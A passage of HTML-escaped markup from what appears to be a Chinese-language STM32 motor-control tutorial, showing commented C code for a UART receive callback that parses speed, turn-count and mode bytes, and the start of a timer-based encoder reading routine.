class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 根据模式调用MoTo函数执行相应的操作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// MoTo 函数定义时要把屏幕传过来的 (0/1) 和 真实转动的对应正确\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 启动定时器,这样其他的中断才会发生。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStart_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果速度或圈数为零,就说明要停下电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 调用MoTo函数执行刹停电机。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数(防止下次启动时有上次残留的值) 并且 停止定时器。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART发送中断,以便后续可以发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_ENABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重新启用UART接收中断,以便继续接收数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清空UART的数据寄存器,以确保不会因为残留数据而触发接收中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_FLUSH_DRREGISTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除UART接收缓冲区非空标志位,以确保下一次接收可以正常触发中断。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_FLAG\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_FLAG_RXNE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"固定时间间隔的-中断控制\"\u003e固定时间间隔的 中断控制\u003c/h5\u003e\n\u003cp\u003e之所以要新开一个 tim, 固定时间的读取encoder并设定pwm, 是为了\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eencoder读出的实际可以理解为转动的总距离, 只有时间间隔固定, 我们才能将固定时间的 转动距离差 当作 速度来用\u003c/li\u003e\n\u003cli\u003e防止过快的设置pwm, 别把电机玩坏了(\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里读取encoder有一个坑\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 由于这个encoder是一直累加(或减,取决于电机正反转)的, 它累加到最大值(减到0) 就自动重置了\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 因此你上一次读的数 不一定比 这次读的数大, 这样一算差值, 就可能出现一个极其大的负值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 为了防止这种情况, 我们就需要把这个 tim 的读数一开始(main里面就设置了)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 就设定到一个 中间数值(0和最大之间), 并且 每次读完之后都把它设定回去\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这样就能保证每次都得到一个 计算正确的 值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"nf\"\u003eRead_Encoder\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint16_t\u003c/span\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_TIM_GET_COUNTER\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan 